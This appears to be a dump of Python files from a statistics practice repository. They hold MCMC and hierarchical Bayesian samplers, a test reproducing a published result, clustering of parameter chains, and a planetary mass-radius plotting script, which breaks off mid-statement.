"cfb3884fdeccc1df8d97202a3afa9e610d3e28fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5233, "license_type": "no_license", "max_line_length": 132, "num_lines": 222, "path": "/Projects/RecoverAngie/test_angie_inv.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nsee if I can reproduce Angie's result with my code\n'''\n\n\n### import \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.append('../..')\nfrom NaiveMC.mcmc import hbm_joint_cdf\nfrom scipy.stats import norm, uniform\n\n\n### data\n#data = np.loadtxt('/Users/jingjing/Work/DK_project/Data/2015-Wolfgang/1504-07557v1/table1_data.txt', skiprows=1, usecols=(2,3,4,5))\ndata = np.loadtxt('table1_data.txt', skiprows=1, usecols=(2,3,4,5))\nmass_ob = data[:,0]\nmass_err = data[:,1]\nrad_ob = data[:,2]\nrad_err = data[:,3]\n\n### select rad_ob < 1.6\n'''\nind = rad_ob < 1.6\nmass_ob = mass_ob[ind]\nmass_err = mass_err[ind]\nrad_ob = rad_ob[ind]\nrad_err = rad_err[ind]\n'''\n\nn_group = len(mass_ob)\nprint 'n_group', n_group\n\n\n### inverse sampling\ndef inverse_hyper(hyper_prob):\n\tpr_gamma, pr_lnc, pr_logsm = hyper_prob\n\n\tgamma = norm.ppf(pr_gamma, 1., 1.)\n\tlnc = uniform.ppf(pr_lnc, -3., 6.)\n\tlogsm2 = uniform.ppf(pr_logsm, -4., 6.)\n\n\thyper = np.array([ gamma, np.exp(lnc), (10.**logsm2)**0.5 ])\t\n\n\treturn hyper\n\ndef inverse_local(local_prob, hyper):\n\tn_group = len(local_prob)/2\n\n\t# Rad\n\trad_th = uniform.ppf(local_prob[:n_group], 0.1, 10.)\t\n\n\t# Mass\n\tgamma, c, sm = hyper[0], hyper[1], hyper[2]\n\tmu = c * rad_th ** gamma\n\tmass_th = norm.ppf(local_prob[n_group:], mu, sm)\n\n\tlocal = np.hstack((rad_th, mass_th))\n\n\treturn local\n\n\n### inverse likelihood\ndef loglike_function(hyper, local, mass_ob, mass_err, rad_ob, rad_err):\n\tsm = hyper[2]\n\n\tn_group = len(local)/2\n\trad_th = local[:n_group]\n\tmass_th = local[n_group:]\n\n\tL = 0. - 0.5* np.sum( (rad_th - rad_ob)**2./rad_err**2. ) \\\n\t\t- 0.5* np.sum( (mass_th - mass_ob)**2./(mass_err**2. + sm**2.) ) \\\n\t\t- 0.5* np.sum(np.log( mass_err**2.+ sm**2. ))\n\n\treturn L\n\n### likelihood\n'''\ndef data_given_local( local, mass_ob, mass_err, rad_ob, rad_err ):\n\tn_group = len(local)/2\n\t\n\trad_th = local[:n_group]\n\tmass_th = local[n_group:]\n\n\ttotal_loglikelihood = 0. - np.sum( (mass_ob - mass_th)**2./mass_err**2. ) \\\n\t\t\t\t\t\t - np.sum( (rad_ob - rad_th)**2./rad_err**2. )\n\t\t\n\treturn total_loglikelihood\n\n\ndef local_given_hyper(hyper,local):\n\tc, gamma, sm = hyper\n\n\tn_group = len(local)/2\n\trad_th = local[:n_group]\n\tmass_th = local[n_group:]\n\n\tmu = c * rad_th ** gamma\n\n\ttotal_loglikelihood = 0. - n_group * np.log(sm) - np.sum( (mass_th-mu)**2./sm**2. )\n\n\treturn total_loglikelihood\n\n\ndef hyper_prior(hyper):\n\tc, gamma, sm = hyper\n\t\n\ttotal_loglikelihood = 0. - np.log(c) - (gamma-1.)**2. - np.log(sm)\n\n\treturn total_loglikelihood\n'''\n\n\n### domain check\n'''\ndef hyper_domain(hyper_tmp, hyper_old):\n\thyper_new = hyper_tmp + 0.\n\tif hyper_tmp[0] > np.exp(3.) or hyper_tmp[0] < np.exp(-3.):\n\t\thyper_new[0] = hyper_old[0] + 0.\n\tif hyper_tmp[2] > 10. or hyper_tmp[2] < 10.**-2.:\n\t\thyper_new[2] = hyper_old[2] + 0.\n\n\treturn hyper_new\n\ndef local_domain(local_tmp, local_old):\n\tlocal_new = local_tmp + 0.\n\n\tn_group = len(local_tmp)/2\n\n\t# radius ~ uniform(0.1, 10)\n\tfor i_group in range(n_group):\n\t\tif local_tmp[i_group] > 10. or local_tmp[i_group] < 0.1:\n\t\t\tlocal_new[i_group] = local_old[i_group] + 0.\n\n\treturn local_new\n'''\n\n\n### mcmc\nimport time\nprint 'start:', time.asctime()\n\nn_step = int(5e5)\n\n\n### include prior likelihood\n'''\nhyper0 = np.array([1., 1., 0.01,])\nhyper_stepsize = np.array([1e-2, 1e-2, 0.])\nlocal0 = np.hstack(( 2.* np.ones(n_group), 5.* np.ones(n_group) ))\nlocal_stepsize = 1e-2 * np.ones(2*n_group)\n\n\nhyper_chain, local_chain, loglikelihood_chain, repeat_chain, stop_step = \\\nhbm_joint(hyper0, hyper_stepsize, local0, local_stepsize, n_step, \\\nhyper_prior, local_given_hyper, data_given_local, data=[mass_ob, mass_err, rad_ob, rad_err], \\\nhyper_domain=hyper_domain, local_domain=local_domain, \\\ntrial_upbound = n_step*10)\n'''\n\n\n\n### inverse sampling\nhyper_prob0 = np.array([0.5, 0.5, 0.5])\nlocal_prob0 = 0.5 * np.ones(2*n_group)\nhyper_stepsize = np.array([1e-3, 1e-3, 1e-3])\nlocal_stepsize = 1e-3 * np.ones(2*n_group)\n\nhyper_prob_chain, hyper_chain, local_prob_chain, local_chain, \\\nloglikelihood_chain, repeat_chain, stop_step = \\\nhbm_joint_cdf(hyper_prob0, hyper_stepsize, local_prob0, local_stepsize, n_step,\\\ninverse_hyper, inverse_local,\\\nloglike_function, data=[mass_ob, mass_err, rad_ob, rad_err],\\\ntrial_upbound = n_step*10)\n\n\nprint 'end', time.asctime()\n\n### plot\nrow = 2\ncol = 4\n\nf, ((a00,a01,a02,a03),(a10,a11,a12,a13))=plt.subplots(row,col,figsize=(col*5,row*5))\nax = ((a00,a01,a02,a03),(a10,a11,a12,a13))\n\n\n# local chain\nchoice = np.random.choice(np.arange(n_group),5)\n\nfor i in range(5):\n\tax[0][0].plot(local_chain[:stop_step,choice[i]])\n\tax[0][1].plot(local_chain[:stop_step,n_group+choice[i]])\nax[0][0].set_xlabel('rad_th')\nax[0][1].set_xlabel('mass_th')\n\n\n# loglikelihood chain\nax[0][2].plot(loglikelihood_chain[:stop_step])\nax[0][2].set_xlabel('loglikelihood')\n\n# last 1/2 of loglikelihood\nax[0][3].plot(loglikelihood_chain[stop_step/2:stop_step])\nax[0][3].set_xlabel('loglikelihood')\n\n# hyper chain\nfor i in range(3):\n\tax[1][i].plot(hyper_chain[:stop_step,i])\nax[1][1].set_xlabel('C')\nax[1][0].set_xlabel(r'$\\gamma$')\nax[1][2].set_xlabel(r'$\\sigma_M$')\n\n\n# repeat chain\nax[1][3].plot(repeat_chain[:stop_step])\nax[1][3].set_xlabel('repeat times')\nax[1][3].set_yscale('log')\n\nplt.savefig('test_angie_inv.png')\n\n\nnp.savetxt('test_angie_inv.out', hyper_chain[:stop_step,:])\n" }, { "alpha_fraction": 0.6083333492279053, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 34.29411697387695, "blob_id": "e9fc7ac8db486f476734d317ccecce39c527b688", "content_id": "957f143ff5022e058d8e3a0996d81cf2ee339afa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 600, "license_type": "no_license", "max_line_length": 95, "num_lines": 17, "path": "/Projects/RecoverAngie/plt_angie.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import numpy as np\n#import matplotlib.pyplot as plt\nimport corner\n\ndatafile = '/Users/jingjing/Work/DK_project/Stat_Practice/Projects/RecoverAngie/test_angie.out'\n\ndata = np.loadtxt(datafile)\nn_data = int(5e5)\ndata_burnout = data[n_data/3*2:,:]\ndata_thin = data_burnout[0::20,:]\ndata_rearange = np.transpose(np.vstack((data_thin[:,1],data_thin[:,0],data_thin[:,2])))\n#c, gamma, sm = data[:,0], data[:,1], data[:,2]\n\nfigure = corner.corner(data_rearange, labels=['C',r'$\\gamma$',r'$\\sigma_m$'],\\\n\t\t\t\t\t\ttruths=[0.0,0.0,0.0], quantiles=[0.025,0.16,0.5,0.84,0.975]\n\t\t\t\t\t)\nfigure.savefig(\"plt_angie.png\")\n" }, { "alpha_fraction": 0.6522882580757141, "alphanum_fraction": 0.6685954928398132, "avg_line_length": 26.304597854614258, "blob_id": "6bd1c0da5e7a1da82ab9c0b65f43951563ccda40", "content_id": "d16f0d204d4c866c1c78b9c37d517857f85408cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9505, "license_type": "no_license", "max_line_length": 123, "num_lines": 348, "path": "/NaiveMC/mcmc.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nfunction:\n* domain_pass\n* jump\n* mcmc\n* hbm\n\t- hbm_initial\n\t- hbm_likelihood\n\t- hbm\n'''\n\n# import\nimport numpy as np\n\n\n''' domain_pass ''' \n# incase the parameter jumps outside the domain\ndef domain_pass(para, domain):\n\n\tn_require = len(domain)\n\tfor i in range(n_require):\n\t\trequire = domain[i]\n\t\ttarget = para[require[0]]\n\t\tif not (target>require[1]) & (target<require[2]): return False\n\t\n\treturn True\n\n\n''' mcmc jump '''\ndef jump(para_old, para_stepsize, single_jump=False):\n\tn_para = len(para_old)\n\tif single_jump:\n\t\tind_para = np.random.choice(n_para,1)\n\t\tpara_new = para_old + 0.\n\t\tpara_new[ind_para] = para_new[ind_para] + para_stepsize[ind_para] * np.random.normal(0.,1.)\n\telse:\n\t\tpara_new = para_old + para_stepsize * np.random.normal(0.,1.,n_para)\n\treturn para_new\n\n\n''' mcmc '''\ndef mcmc(p0, p_step, n_step, log_likely_func, data=[], domain = None, seed=2357, *check_func):\n\t# set random seed\n\tnp.random.seed(seed)\n\n\t# setup parameter chain\n\tn_para = len(p0)\n\tp_seq = np.zeros((n_step, n_para))\n\tp_seq[0,:] = p0\n\n\t# setup check function (eg. chi2), otherwise return log likelihood\n\tif check_func:\n\t\tcheck = check_func[0]\n\telse:\n\t\tcheck = log_likely_func\n\n\tcheck_seq = np.zeros(n_step)\n\tcheck_seq[0] = check(p_seq[0,:],*data)\n\n\t# advance with p_step and check if accept p_new\n\tfor i_step in range(1,n_step):\n\n\t\tp_old = p_seq[i_step-1, :] + 0.\n\t\tp_new = p_old + p_step * np.random.uniform(-1,1,n_para)\n\t\tif domain != None:\n\t\t\tp_new = domain(p_new, p_old)\n\t\telse: pass\n\n\t\tdelta_log = log_likely_func(p_new, *data) - \\\n\t\t\t\t\tlog_likely_func(p_old, *data)\n\t\t# ?? local prior likelihood\n\t\t# log(data|local)+log(local|local prior)\n\n\t\tratio = np.exp(delta_log)\n\t\tif (np.random.uniform(0,1) < ratio):\n\t\t\tp_seq[i_step, :] = p_new\n\t\telse:\n\t\t\tp_seq[i_step, :] = p_old\n\n\t\tcheck_seq[i_step] = check(p_seq[i_step, :],*data)\n\n\treturn p_seq, check_seq\n\n\n''' hbm initial (hierarchical bayesian model) '''\ndef hbm_initial(hyper0, n_step):\n\n\tn_hyper = len(hyper0)\n\thyper = np.zeros((n_hyper,n_step))\n\thyper[:,0] = hyper0\n\n\trepeat = np.zeros((n_step,), dtype=np.int)\n\trepeat[n_step-1] = 1\n\n\tloglike = np.repeat(-np.inf, n_step)\n\n\treturn hyper, loglike, repeat\n\n\n''' hbm p(data|hyper)'''\n# sum of log average likelihood\n# DONT log{mean[exp(loglikelihood)]}, causing overflow and making comparison impossible\ndef hbm_likelihood(hyper,draw_local_func,draw_times,n_group,log_likely_func,model,data=[]):\n\tn_local = len(draw_local_func(hyper))\n\tloglike_each = np.zeros((draw_times, n_group))\n\tfor i_group in range(n_group):\n\t\tfor i_draw in range(draw_times):\n\t\t\tlocal = draw_local_func(hyper)\n\t\t\tloglike_each[i_draw,i_group] = log_likely_func(local, model, i_group, *data)\n\n\tif draw_times==1:\n\t\ttotal_loglike = np.sum(loglike_each)\n\telse:\n\t\tmaximum = np.max(loglike_each,axis=0)\n\t\tdelta = loglike_each-maximum\n\t\tmean_ratio_of_maximum = np.mean(np.exp(delta),axis=0)\n\t\n\t\tloglikelihood = maximum + np.log(mean_ratio_of_maximum)\n\t\ttotal_loglike = np.sum(loglikelihood)\n\n\treturn total_loglike\n\n\n''' hbm with mcmc '''\ndef hbm(hyper0, hyper_stepsize, n_step, draw_local_func, n_group, log_likely_func, model, \\\ndata=[], seed=2357, domain=[], draw_times=1, single_jump = False, trial_upbound = 1e5):\n\n\tnp.random.seed(seed)\n\n\t### initial setup: hyper, local, loglike\n\thyper_chain, loglike, repeat = hbm_initial(hyper0, n_step)\n\tloglike0 = hbm_likelihood(hyper0,draw_local_func,draw_times,n_group,log_likely_func,model,data)\n\tloglike[0] = loglike0\t\n\n\tloglike_old = loglike0\n\thyper_old = hyper0\n\n\n\t### run mcmc: hyper walks, generates local, calculate delta_log, accept/reject\n\tfor i_step in range(0, n_step-1):\n\t\t\t\t\n\t\tif (np.sum(repeat)>=trial_upbound):\n\t\t\tbreak\n\n\t\tstep_stay = True\n\t\twhile step_stay & (np.sum(repeat)<trial_upbound):\n\t\t\trepeat[i_step] = repeat[i_step]+1\n\n\t\t\thyper_new = jump(hyper_old, hyper_stepsize, single_jump)\n\n\t\t\t# reject new step if out of domain\n\t\t\tif len(domain) != 0:\n\t\t\t\tif not domain_pass(hyper_new,domain): \n\t\t\t\t\tcontinue\n\t\t\t\n\t\t\tloglike_new = hbm_likelihood(hyper_new,draw_local_func,draw_times,n_group,log_likely_func,model,data)\n\t\t\t\n\t\t\tratio_tmp = np.exp(loglike_new - loglike_old)\n\t\n\t\t\t# accept new step\n\t\t\tif (np.random.uniform(0,1) < ratio_tmp):\n\t\t\t\thyper_chain[:,i_step+1] = hyper_new\n\t\t\t\thyper_old = hyper_new + 0.\n\t\t\t\tloglike[i_step+1] = loglike_new\n\t\t\t\tloglike_old = loglike_new + 0.\n\t\t\t\tstep_stay = False\n\n\t\t\t# reject new step\n\t\t\telse: pass\n\n\treturn hyper_chain, loglike, repeat, i_step\n\n\n''' hbm_jump '''\n# copy from jump, I am no more using func_mcmc or func_hbm anyway\ndef hbm_jump(para_old, para_stepsize):\n\tn_para = len(para_old)\n\t\n\tpara_new = para_old + para_stepsize * np.random.normal(0.,1.,n_para)\n\n\treturn para_new\n\n\n''' hbm_joint '''\ndef hbm_joint(hyper0, hyper_stepsize, local0, local_stepsize, n_step, \\\n\t\t\thyper_prior, local_given_hyper, data_given_local, data=[], \\\n\t\t\thyper_domain=None, local_domain=None,\\\n\t\t\ttrial_upbound = 1e5, random_seed = 2357):\n\n\tnp.random.seed(random_seed)\n\n\t### initial setup\n\tn_hyper = len(hyper0)\n\thyper_chain = np.zeros((n_step,n_hyper))\n\thyper_chain[0,:] = hyper0\n\n\tn_local = len(local0)\n\tlocal_chain = np.zeros((n_step,n_local))\n\tlocal_chain[0,:] = local0\n\n\tloglikelihood_chain = np.repeat(-np.inf,n_step)\n\tloglikelihood0 = hyper_prior(hyper0) + local_given_hyper(hyper0, local0) + data_given_local(local0, *data)\n\tloglikelihood_chain[0] = loglikelihood0\n\n\trepeat_chain = np.zeros((n_step,), dtype=np.int)\n\trepeat_chain[n_step-1] = 1\n\n\t### first step\n\thyper_old = hyper0\n\tlocal_old = local0\n\tloglikelihood_old = loglikelihood0\n\n\t### mcmc\n\tfor i_step in range(0, n_step-1):\n\t\tif (np.sum(repeat_chain)>=trial_upbound):\n\t\t\tbreak\n\n\t\tstep_stay = True\n\t\twhile step_stay & (np.sum(repeat_chain)<trial_upbound):\n\t\t\trepeat_chain[i_step] = repeat_chain[i_step]+1\n\n\t\t\t### jump\n\t\t\thyper_new = jump(hyper_old, hyper_stepsize)\n\t\t\tlocal_new = jump(local_old, local_stepsize)\n\n\t\t\tif hyper_domain == None: pass\n\t\t\telse:\n\t\t\t\thyper_new = hyper_domain(hyper_new, hyper_old)\n\t\t\tif local_domain == None: pass\n\t\t\telse:\n\t\t\t\tlocal_new = local_domain(local_new, local_old)\n\n\n\t\t\t### calculate loglikelihood\n\t\t\tloglikelihood_new = hyper_prior(hyper_new) + local_given_hyper(hyper_new,local_new) + data_given_local(local_new, *data)\n\n\t\t\t### accept/reject\n\t\t\tratio = np.exp(loglikelihood_new - loglikelihood_old)\n\t\n\t\t\tif (np.random.uniform(0,1) < ratio):\n\t\t\t\thyper_chain[i_step+1,:] = hyper_new\n\t\t\t\thyper_old = hyper_new + 0.\n\n\t\t\t\tlocal_chain[i_step+1,:] = local_new\n\t\t\t\tlocal_old = local_new + 0.\n\n\t\t\t\tloglikelihood_chain[i_step+1] = loglikelihood_new\n\t\t\t\tloglikelihood_old = loglikelihood_new + 0.\n\n\t\t\t\tstep_stay = False\n\n\t\t\telse: pass\n\n\treturn hyper_chain, local_chain, loglikelihood_chain, repeat_chain, i_step\n\n\n''' jump in the probability space '''\ndef jump_prob(para, stepsize, continuous=False):\n\t\n\tn_para = len(para)\n\tpara_new = para + stepsize * np.random.normal(0.,1., n_para)\n\n\tif continuous:\n\t\tpara_new = para_new - np.floor(para_new)\t\t\n\telse:\n\t\tout = (para_new>1.) | (para_new<0.)\n\t\tpara_new[out] = para[out] + 0.\n\n\treturn para_new \n\n\n''' hbm_joint with jump in the probability space '''\ndef hbm_joint_cdf(hyper_prob0, hyper_stepsize, local_prob0, local_stepsize, n_step,\\\n\t\t\t\tinverse_hyper, inverse_local, \\\n\t\t\t\tloglike_func, data, \\\n\t\t\t\ttrial_upbound = 1e5):\n\n\t### initial setup\n\tn_hyper = len(hyper_prob0)\n\thyper_prob_chain = np.zeros((n_step, n_hyper))\n\thyper_chain = np.zeros((n_step, n_hyper))\n\thyper0 = inverse_hyper(hyper_prob0)\n\thyper_prob_chain[0] = hyper_prob0\n\thyper_chain[0] = hyper0\n\n\tn_local = len(local_prob0)\n\tlocal_prob_chain = np.zeros((n_step, n_local))\n\tlocal_chain = np.zeros((n_step, n_local))\n\tlocal0 = inverse_local(local_prob0, hyper0)\n\tlocal_prob_chain[0] = local_prob0\n\tlocal_chain[0] = local0\n\n\tloglikelihood_chain = np.repeat(-np.inf, n_step)\n\t#loglikelihood0 = data_given_local(local0, model, *data) + np.sum(np.log(local_prob0))\n\tloglikelihood0 = loglike_func(hyper0, local0, *data)\n\tloglikelihood_chain[0] = loglikelihood0\n\n\trepeat_chain = np.zeros((n_step,), dtype=np.int)\n\trepeat_chain[n_step-1] = 1\n\n\t\n\t### first step\n\thyper_prob_old, local_prob_old = hyper_prob0, local_prob0\n\thyper_old, local_old = hyper0, local0\n\tloglikelihood_old = loglikelihood0\n\n\t\n\t### mcmc\n\tfor i_step in range(0, n_step-1):\n\t\tif (np.sum(repeat_chain)>=trial_upbound):\n\t\t\tbreak\n\t\t\n\t\tstep_stay = True\n\t\twhile step_stay & (np.sum(repeat_chain)<trial_upbound):\n\t\t\trepeat_chain[i_step] = repeat_chain[i_step]+1\n\n\t\t\t## jump in prob-space, inverse cdf\n\t\t\thyper_prob_new = jump_prob(hyper_prob_old, hyper_stepsize)\n\t\t\tlocal_prob_new = jump_prob(local_prob_old, local_stepsize)\n\t\t\thyper_new = inverse_hyper(hyper_prob_new)\n\t\t\tlocal_new = inverse_local(local_prob_new, hyper_new)\n\n\t\t\t#loglikelihood_new = data_given_local(local_new, model, *data) + np.sum(np.log(local_prob_new))\n\t\t\tloglikelihood_new = loglike_func(hyper_new, local_new, *data)\n\t\n\t\t\t### accept/reject\t\t\n\t\t\tratio = np.exp(loglikelihood_new - loglikelihood_old)\n\n\t\t\tif (np.random.uniform(0,1)<ratio):\n\t\t\t\thyper_prob_chain[i_step+1,:] = hyper_prob_new\n\t\t\t\thyper_chain[i_step+1,:] = hyper_new\n\t\t\t\thyper_prob_old = hyper_prob_new + 0.\n\t\t\t\thyper_old = hyper_new + 0.\n\n\t\t\t\tlocal_prob_chain[i_step+1, :] = local_prob_new\n\t\t\t\tlocal_chain[i_step+1,:] = local_new\n\t\t\t\tlocal_prob_old = local_prob_new + 0.\n\t\t\t\tlocal_old =local_new +0.\n\n\t\t\t\tloglikelihood_chain[i_step+1] = loglikelihood_new\n\t\t\t\tloglikelihood_old = loglikelihood_new + 0.\n\n\t\t\t\tstep_stay = False\n\n\t\t\telse: pass\n\t\t\t\n\treturn hyper_prob_chain, hyper_chain, local_prob_chain, local_chain, \\\n\t\t\tloglikelihood_chain, repeat_chain, i_step\n\n\n\n" }, { "alpha_fraction": 0.6842989325523376, "alphanum_fraction": 0.7044500708580017, "avg_line_length": 22.3137264251709, "blob_id": "05ed4c35a187059dcaeec790ee4671f2bb0f737d", "content_id": "d2c4870f9ef49bce67adc73c7b1d071f9c2a5b2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1191, "license_type": "no_license", "max_line_length": 124, "num_lines": 51, "path": "/Projects/test_marcy_cluster.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\ncluster on test_marcy_cluster.py\n'''\n\n### import \nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\n\n\n### data\npara_chain = np.loadtxt('test_marcy_cluster_parameter.out')\nn_step, total_para = np.shape(para_chain)\npara_chain = para_chain.reshape(5,n_step,3)\n\nalpha = np.hstack(para_chain[:,n_step/2:,0])\nbeta = np.hstack(para_chain[:,n_step/2:,1])\n\n\n### 2d histogram\nxedge = np.linspace(0.,1.,21)\nyedge = np.linspace(0.,1.,21)\n\nH, xedges, yedges = np.histogram2d(beta,alpha,bins=100)\n\n#print H\n\n### plot\nplt.imshow(np.log(H+1), origin='low', cmap='Greys')\nplt.colorbar()\nplt.xlabel(r'$\\alpha$'); plt.ylabel(r'$\\beta$')\nplt.savefig('Figure/test_marcy_cluster_2dhist.png')\n\n\n'''\n### scikit cluster\n# http://scikit-learn.org/stable/auto_examples/cluster/plot_mini_batch_kmeans.html#example-cluster-plot-mini-batch-kmeans-py\ndata = np.vstack((alpha,beta)).transpose()\nn_clusters=3\n\nk_means = KMeans(init='k-means++', n_clusters=n_clusters, n_init = 10)\nk_means.fit(data)\n\nk_means_labels = k_means.labels_\nk_means_cluster_centers = k_means.cluster_centers_\nk_means_labels_unique = np.unique(k_means_labels)\n\nprint k_means_cluster_centers\n'''\n\nprint 'end'\n\n\n" }, { "alpha_fraction": 0.5866666436195374, "alphanum_fraction": 0.6608580946922302, "avg_line_length": 35.76213455200195, "blob_id": "50ca8ee1f816b65e15ef659adbde5e42e606d095", "content_id": "1288d75942cfcd35c13464c84bc38702555e3d96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7575, "license_type": "no_license", "max_line_length": 138, "num_lines": 206, "path": "/Projects/PlanetGroup/plt_overlay.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import *\nfrom func import convert_data, piece_linear, piece_linear_complex\nfrom scipy.stats import percentileofscore\n\nfrom matplotlib.backends.backend_pdf import PdfPages\npp = PdfPages('plt_overlay.pdf')\n\n### log-log data\ndata_dir = '/Users/jingjing/Work/DK_project/Data/Mine/'\ndwarfplanet, exoplanet, browndwarf, star = \\\nnp.loadtxt(data_dir+'dpl.txt'), \\\nnp.loadtxt(data_dir+'epl.txt'), \\\nnp.loadtxt(data_dir+'bd.txt'), \\\nnp.loadtxt(data_dir+'st.txt')\n\ndata = [dwarfplanet, exoplanet, browndwarf, star]\n\n### solar planets\n# Mercury, Venus, Earth, Mars, Jupiter, Saturn, Uranus, Neptune\nsolarplanet = convert_data( np.loadtxt(data_dir+'spl.txt') )\n\n\n### mcmc result, spatial_median and trans_1up/down\n\nbest_hyper = np.loadtxt('h4_spatial_median.txt', delimiter=',')\ntrans_best = best_hyper[-3:]\nslope_best = best_hyper[1:5]\n# find_best.py with spatial_median.txt and find trans_1up/down\ntrans_1up = trans_best + np.array([0.1245372 , 0.0534476 , 0.04035559])\ntrans_1down = trans_best - np.array([0.14317994, 0.06079727, 0.03514506 ])\n\n\n# convert trans best\nmearth2mjup = 317.828\nmearth2msun = 333060.4\n\nm_trans = 10.**trans_best\nm1 = m_trans[0]\nm2 = m_trans[1] / mearth2mjup\nm3 = m_trans[2] / mearth2msun\n\n# find the corresponding R at transition points\nrad_trans = 10.** piece_linear( best_hyper, trans_best, prob_R = 0.5*np.ones(3) )\nprint 'radius at transition (RE)/(RJ)', rad_trans, rad_trans/11.21\n\n\n### plot\nplt.clf()\nfigscale=1.5\nfig = plt.figure(figsize=(4*figscale,3*figscale))\nax = plt.gca()\n\n\n# fit line\nm_max = np.log10(np.max(star[:,0]))\nm_min = np.log10(np.min(dwarfplanet[:,0]))\nm_sample = np.linspace( m_min, m_max, 1000 )\nr_sample = piece_linear(best_hyper, m_sample, prob_R = 0.5*np.ones_like(m_sample))\nr_upper = piece_linear(best_hyper, m_sample, prob_R = 0.84 * np.ones_like(m_sample))\nr_lower = piece_linear(best_hyper, m_sample, prob_R = 0.16 * np.ones_like(m_sample))\nr_2upper = piece_linear(best_hyper, m_sample, prob_R = 0.975 * np.ones_like(m_sample))\nr_2lower = piece_linear(best_hyper, m_sample, prob_R = 0.025 * np.ones_like(m_sample))\n\n\n# plt fit\nplt.plot(m_sample, r_sample, 'r-')\nplt.fill_between(m_sample, r_lower, r_upper, color='grey', alpha=0.6)\nplt.fill_between(m_sample, r_2lower, r_2upper, color='grey', alpha=0.4)\n\n\n# trans location\nfor i in range(len(trans_best)):\n\tplt.plot([trans_best[i]]*2, [-1.2,1.9], linestyle = 'dashed' , color='k', alpha=0.9, linewidth=0.5)\n\tplt.plot([trans_1up[i]]*2, [-1.2,1.9], linestyle = 'dotted' , color='k', alpha=0.8, linewidth=0.5)\n\tplt.plot([trans_1down[i]]*2, [-1.2,1.9], linestyle = 'dotted' , color='k', alpha=0.8, linewidth=0.5)\n\n# trans footnote\nfootnote_fontsize = 9\nplt.text(trans_1down[0]-0.26,-0.8,r'$\\rm %.1f M_\\oplus$' % m1 , fontsize=footnote_fontsize, rotation=90)\nplt.text(trans_1down[1]-0.26,-0.79,r'$\\rm %.2f M_J$' % m2 , fontsize=footnote_fontsize, rotation=90)\nplt.text(trans_1down[2]-0.26,-0.72,r'$\\rm %.3f M_\\odot$' % m3 , fontsize=footnote_fontsize, rotation=90)\n\n# trans topnote\n#plt.text(trans_1down[0]-0.26,2.02, r'$\\rm volatile$', fontsize=footnote_fontsize, rotation=90)\n#plt.text(trans_1up[0]+0.05,2.05, r'$\\rm accretion$', fontsize=footnote_fontsize, rotation=90)\nplt.text(trans_best[0]-0.45,2.02, r'$\\rm volatile$', fontsize=footnote_fontsize)\nplt.text(trans_best[0]-0.5,1.92, r'$\\rm accretion$', fontsize=footnote_fontsize)\n\n#plt.text(trans_1down[1]-0.26,1.93, r'$\\rm grav.$', fontsize=footnote_fontsize, rotation=90)\n#plt.text(trans_1up[1]+0.05,2.05, r'$\\rm compression$', fontsize=footnote_fontsize, rotation=90)\nplt.text(trans_best[1]-0.25,2.02, r'$\\rm grav.$', fontsize=footnote_fontsize)\nplt.text(trans_best[1]-0.6,1.92, r'$\\rm compression$', fontsize=footnote_fontsize)\n\n\n#plt.text(trans_1down[2]-0.26,2.05, r'$\\rm hydrogen$', fontsize=footnote_fontsize, rotation=90)\n#plt.text(trans_1up[2]+0.05,2.02, r'$\\rm burning$', fontsize=footnote_fontsize, rotation=90)\nplt.text(trans_best[2]-0.45,2.02, r'$\\rm hydrogen$', fontsize=footnote_fontsize)\nplt.text(trans_best[2]-0.4,1.92, r'$\\rm burning$', fontsize=footnote_fontsize)\n\n\n# class footnote\n\nplt.text(-1.5,0.2,r'$\\rm M \\sim R^{%.2f}$' % slope_best[0] , fontsize=footnote_fontsize)\nplt.text(-1.47,0.1,r'$\\rm rocky$' , fontsize=footnote_fontsize)\nplt.text(-1.5,0.,r'$\\rm worlds$' , fontsize=footnote_fontsize)\n\nplt.text(0.75,-0.2,r'$\\rm M \\sim R^{%.2f}$' % slope_best[1] , fontsize=footnote_fontsize)\nplt.text(0.75,-0.3,r'$\\rm gaseous$' , fontsize=footnote_fontsize)\nplt.text(0.8,-0.4,r'$\\rm worlds$' , fontsize=footnote_fontsize)\n\nplt.text(2.6,0.5,r'$\\rm M \\sim R^{%.2f}$' % slope_best[2] , fontsize=footnote_fontsize)\nplt.text(2.4,0.4,r'$\\rm degenerate$' , fontsize=footnote_fontsize)\nplt.text(2.7,0.3,r'$\\rm worlds$' , fontsize=footnote_fontsize)\n\nplt.text(4.7,0.8,r'$\\rm M \\sim R^{%.2f}$' % slope_best[3] , fontsize=footnote_fontsize)\nplt.text(4.7,0.7,r'$\\rm stellar$' , fontsize=footnote_fontsize)\nplt.text(4.7,0.6,r'$\\rm worlds$' , fontsize=footnote_fontsize)\n\n# class bg color\nr=Rectangle((-4.,-2.), trans_best[0]+4, 5., alpha=0.35, color='b')\nax.add_patch(r)\nr=Rectangle((trans_best[0],-2.), trans_best[1]-trans_best[0], 5., alpha=0.25,color='b')\nax.add_patch(r)\nr=Rectangle((trans_best[1],-2.), trans_best[2]-trans_best[1], 5., alpha=0.15, color='b')\nax.add_patch(r)\nr=Rectangle((trans_best[2],-2.), 6-trans_best[2], 5., alpha=0.05, color='b')\nax.add_patch(r)\n\n\n\n# data\nfmts = ['^','o','s','*']\nsize = [4,4,4,6]\nlegends = []\nfor i,datum in enumerate(data):\n\tdat = convert_data(datum)\n\talegend, = plt.plot(dat[:,0], dat[:,2], linestyle='None',\n\t\t\t\t\tmarker=fmts[i], markersize=size[i], \n\t\t\t\t\tmarkerfacecolor = 'None', markeredgecolor='k', 